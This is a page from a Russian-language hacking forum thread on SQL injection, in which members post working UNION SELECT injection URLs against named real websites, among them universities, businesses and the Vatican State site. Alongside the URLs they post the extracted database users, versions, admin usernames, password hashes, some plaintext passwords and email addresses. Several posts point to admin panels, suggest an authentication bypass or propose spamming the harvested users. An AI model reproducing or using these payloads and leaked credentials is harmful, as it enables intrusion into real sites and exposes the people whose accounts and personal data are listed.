SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    2,191
    Likes Received:
    996
    Reputations:
    155
    lumelco.es
    PR 3

    Code:
    http://www.lumelco.es/sat.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7
    web@localhost:lumelco:4.1.11-standard-log
     
    #9561 mailbrush, 2 Jun 2009
    Last edited: 2 Jun 2009
  2. bug1z

    bug1z Member

    Joined:
    7 May 2009
    Messages:
    62
    Likes Received:
    18
    Reputations:
    1
    Code:
    http://www.goldcoastoceanfest.co.uk/news.php?id=-1+union+select+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--+
    Code:
    web27-gc@79.170.40.171 : web27-gc : 5.0.77-community
    паролей в бд нету
    админка:
    http://www.goldcoastoceanfest.co.uk/admin

    В админке походу пасс прописан в самом скрипте, и почемуто мне кажится что она не надёжна...

    так как при неправильном вводе пароля меня перекидывает на скрипт login.php с помощью header() и чутьё мне подсказывает что полле него не указан exit() или die()
    таким образом мы можем послать составленый с помощю инеткряка GET или POST запрос дабы попасть в админку без авторизации...
     
    #9562 bug1z, 2 Jun 2009
    Last edited: 2 Jun 2009
  3. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    309
    Likes Received:
    92
    Reputations:
    33
    PR 3
    http://www.russ-express.de/stranica.php?sopen=Autogas&file=print&sid=-22+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6
    5.0.45:web25@localhost:usr_web25_1
     
  4. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,505
    Likes Received:
    398
    Reputations:
    228
    Ловите ПР8
    http://www.internationalscholarships.com/links.php?c=-Alumni_Services'+union+select+1,concat(name,char(58),pass)+from+users+limit+0,1+/*+

    Jennifer M Miller ::jmiller@internationalscholarships.com:: h3r3andnow*
    Админка
    http://www.internationalscholarships.com/admin/

    Юзверей 340781 total, можно проспамить их в админке))
     
    #9564 DezMond™, 2 Jun 2009
    Last edited: 2 Jun 2009
    4 people like this.
  5. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    309
    Likes Received:
    92
    Reputations:
    33
    http://www.management.cg.yu/stranica.php?strana=-13+union+select+1,unhex(hex(concat_ws(0x3a,version(),user(),databas

    e()))),3,4
    4.1.12:management@localhost:management_cg_yu_-_management

    http://www.postdiploma.cg.yu/stranica.php?strana=-13+union+select+1,2,3,unhex(hex(concat_ws(0x3a,version(),user(),da

    tabase())))
    4.1.12:postdiploma@localhost:postdiploma_cg_yu_-_postdiploma
     
    1 person likes this.
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    952
    Likes Received:
    785
    Reputations:
    591
    http://mton.ru/programms/?content=browse&id=4+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version())--

    mton@localhost:video:4.1.25
     
    _________________________
  7. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    309
    Likes Received:
    92
    Reputations:
    33
    http://www.whittet-higgins.com/part.php?series_id=76+and+substring(version(),1,1)=5
    -------
    http://www.sovinterior.ru/nomer.php?n=-46+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),user(),database()),8
    5.0.58-log:si@localhost:sovint
     
  8. ta-kyn

    ta-kyn Member

    Joined:
    7 May 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    2
    www.hennesseyperformance.com [PR 4]

    Code:
    http://www.hennesseyperformance.com/page.php?id=-15+union+select+1,2,3,4,5,version(),concat_ws(0x3a,user(),database()),8--
    5.0.32-Debian_7etch8-log
    HMSvipers@localhost:hennesseyperformance
     
    1 person likes this.
  9. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    513
    Likes Received:
    142
    Reputations:
    6
    http://www.ecn.net.au/order.php?id=-11+union+select+1,2,3,unhex(hex(version())),5,6,7--
    Database Version: 4.1.11-Debian_4sarge7-log
    Database name: ecnweb
    User name: ecnweb@warp.ecn.net.au

    нашел таблу content
     
    #9569 satana8920, 3 Jun 2009
    Last edited by a moderator: 3 Jun 2009
  10. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    2,191
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.gapchich.ru/blank.php?page=relative&id=-1+union+select+0x3C2F7469746C653E,concat_ws(0x3a,user(),database(),version()),3,4,5
    27669@78.108.84.11:b27669_geneal:5.0.67

    Code:
    http://www.gapchich.ru/blank.php?page=relative&id=-1+union+select+0x3C2F7469746C653E,concat_ws(0x3a,id,nickname,passwd),3,4,5+from+users
    1:kvazar:1484790be9a84d7aa026a21e8a75ed89db78d692
     
    2 people like this.
  11. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    952
    Likes Received:
    785
    Reputations:
    591
    http://www.rijas-kg.de/news.php?curyear=2006&curmonth=05&action=view_one&id=1'+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5/*

    u457153_rijas@static-ip-62-75-193-155.inaddr.intergenia.de:db457153_rijas:4.1.21-Max

    ###########################################

    http://www.islandpferdegestuet-midgard.de/news.php?language=en&id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8,9,10,11,12,13,14+--+

    dbo257789952@212.227.109.139:db257789952:5.0.67-log

    TABLES: news,guestbook

    ########################################
    PR: 5

    http://www.immes.edu.br/php/index.php?id=1&codNoticia=-128+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6--

    immes@localhost:NOVO_IMMES:4.0.13

    http://www.immes.edu.br/php/index.php?id=1&codNoticia=-128+union+select+1,2,file_priv,4,5,6+from+mysql.user--

    Y

    кавычки фильтруются (((

    #######################################
    PR: 5

    http://www.metodistademinas.edu.br/novo/cursos2.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--

    5 ветка

    tablse :
    https://painel.locaweb.com.br/ я так понял что через отсюда вход )))))
     
    _________________________
    #9571 HAXTA4OK, 3 Jun 2009
    Last edited: 3 Jun 2009
    1 person likes this.
  12. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    180
    Likes Received:
    439
    Reputations:
    313
    [PR 7]
    Code:
    http://www.fbw.ugent.be/news/calendar.php?id=-108+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14--
    4.0.18-log:website_FBW:www@localhost

    [PR 4]
    Code:
    http://www.vtmozart.org/calendar.php?ID=385+and+substring(@@version,1,1)=4
    [PR 3]
    Code:
    http://www.downtownnorthbay.com/Calendar/calendar.php?ID=-45+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24&command=view&year=2009&month=5&day=23
    4.0.26:downtownnorthbay_com:downtonb@localhost

    [PR 0]
    Code:
    http://www.abqsoaring.org/calendar.php?id=-93+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8
    5.0.66a-log:2918678309:2918678309@172.16.0.181
     
  13. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    2,191
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.auditoire.fr/luxe.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
    auditoire@localhost:auditoire:5.0.75-log

    Code:
    http://www.igda-phx.org/resources.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,user(),database(),version())
    igdaphx@localhost:igda:5.0.45-community

    Code:
    http://www.igda-phx.org/resources.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,username,user_password)+from+phpbb2.phpbb_users
    Все юзеры из phpBB.

    Code:
    http://www.igda-phx.org/resources.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,username,user_password)+from+phpbb2.phpbb_users+limit+2,1
    Один из админов.
    Логинка http://forums.igda-phx.org/.
     
    1 person likes this.
  14. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,709
    Likes Received:
    405
    Reputations:
    196
    Официальный сайт Государства Ватикан.


    root@localhost:5.0.27-community-nt:root:localhost:*4CFA1726B987FDAFA3D40065A2A80ACF1A5A1016:Y

    http://www.vaticanstate.va Pr: 6 тИЦ: 60


    PS. Я не осмелилсся дальше крутить)
     
  15. trefet2

    trefet2 New Member

    Joined:
    25 May 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    http://www.tymphany.com/datasheet/printview.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x20,uid,name,login,pass,mail,status),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77+from+users--
    подбираем лимит
     
  16. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,505
    Likes Received:
    398
    Reputations:
    228
    http://www.mosteploseti.ru/index.php?id=1+union+select+1,group_concat(table_name),3+from+information_schema.tables+group+by+table_name+--+
    b_admin
    b_session
    kb3_api_user

    http://www.mabutex.ru/product/index.php?id=-1+union+select+1,2,3,4,5,version()/*+
    4.1.22-log

    http://www.betterworldarts.com.au/index.php?id=-1+union+select+1,2,3,version(),5,6,7,8,9/*+
    4.1.22 - Вывод в title

    http://rus-voin.ru/index.php?id=-1'+union+select+1,2,concat_Ws(0x3a3a,usergroup,username,password,name,mail,publications,hide_mail,homepage,icq,location,lj_username,lj_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+cute_users+/*+
    1::freeman::25fc850af8b5c5af7632aa769cbe6946::::::4::0::::0::::::
     
  17. bug1z

    bug1z Member

    Joined:
    7 May 2009
    Messages:
    62
    Likes Received:
    18
    Reputations:
    1
    Code:
    http://www.cpofla.org/news.php?id=-1+union+select+1,2,3,concat_ws(0x3c6272202f3e,ID_MEMBER,memberName,dateRegistered,posts,ID_GROUP,lngfile,lastLogin,realName,instantMessages,unreadMessages,buddy_list,pm_ignore_list,messageLabels,passwd,emailAddress,personalText,gender,birthdate,websiteTitle,websiteUrl,location,ICQ,AIM,YIM,MSN,hideEmail,showOnline,timeFormat,signature,timeOffset,avatar,pm_email_notify,karmaBad,karmaGood,usertitle,notifyAnnouncements,notifyOnce,notifySendBody,notifyTypes,memberIP,memberIP2,secretQuestion,secretAnswer,ID_THEME,is_activated,validation_code,ID_MSG_LAST_VISIT,additionalGroups,smileySet,ID_POST_GROUP,totalTimeLoggedIn,passwordSalt,authtitle),5,6,7,8,9,10,11,12+from+smf_members--+
    Code:
    1
    admin
    1175742604
    5
    1
    english
    1186665943
    Admin
    0
    0
    8491398feec9c8aa1fc7254e760e866bf317c889
    webmaster@cpofla.org
    0
    0001-01-01
    1
    0
    0
    0
    0
    0
    1
    1
    0
    2
    70.171.73.50
    70.171.73.5
    4
    1
    bb6c2ae59b
    6
    11
    4
    19848
    018a
    Administrator
    
    Code:
    http://www.cpofla.org/news.php?id=-1+union+select+1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12+from+smf_members--+
    Code:
    cdgajywl_smf1@localhost : cdgajywl_smf1 : 5.0.51a-community
     
  18. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    964
    Likes Received:
    307
    Reputations:
    51
    http://www.udec.cl {PR 8}
    Code:
    http://www.udec.cl/asinter/mostrar_datos.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7/*
    Version - 4.1.20
    Database - asinter
    User - asinter@localhost

    ----------------------------------------------------------------------------------------------------

    http://www.lizlarin.com {PR 3}
    Code:
    http://www.lizlarin.com/nview.php?ID=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9--
    5.0.77-community-log : lizlarin_lizsql@localhost : lizlarin_db

    cpg11d_users:
    Code:
    http://www.lizlarin.com/nview.php?ID=-1+union+select+1,2,3,4,group_concat(user_name,0x3a,user_password),6,7,8,9+from+lizlarin_photos.cpg11d_users--
    admin:LizL2003

    хз where admin control panel ((

    ----------------------------------------------------------------------------------------------------

    http://intranet.mcad.edu {PR 3}
    Code:
    http://intranet.mcad.edu/modules/bookmarks/view_groups.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8/*
    5.0.22-Debian_0ubuntu6.06.10-log : intranet_01 : intranet_01@localhost
     
    #9578 Skofield, 3 Jun 2009
    Last edited: 3 Jun 2009
    1 person likes this.
  19. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    98
    Likes Received:
    116
    Reputations:
    14
    www.info-torg.ru
    Code:
    http://www.info-torg.ru/?page=sub_group&&city=0&&super_id=-5+union+select+1,concat_ws(0x3a,user(),version(),database())--
    mysql_user@10.0.0.101:5.0.70:info_torg_ru1



    pr:2
    тиц:150
    в сутки посещался около 10к
     
    #9579 ..::TROYAN::.., 3 Jun 2009
    Last edited: 3 Jun 2009
  20. trefet2

    trefet2 New Member

    Joined:
    25 May 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    http://playcoed.com/club.php?id=-1+union+select+1,concat_ws(0x20,id,user_name,password,email),3,4,5,6,7,8,9,10,11+from+members--
    это вроде админ
    но когда ставишь лимит в диапазоне от 1 до 51858 появляется аккаунт, к сайту они всегда подходят, а к своим мылам не так часто!!
     
Loading...
Thread Status:
Not open for further replies.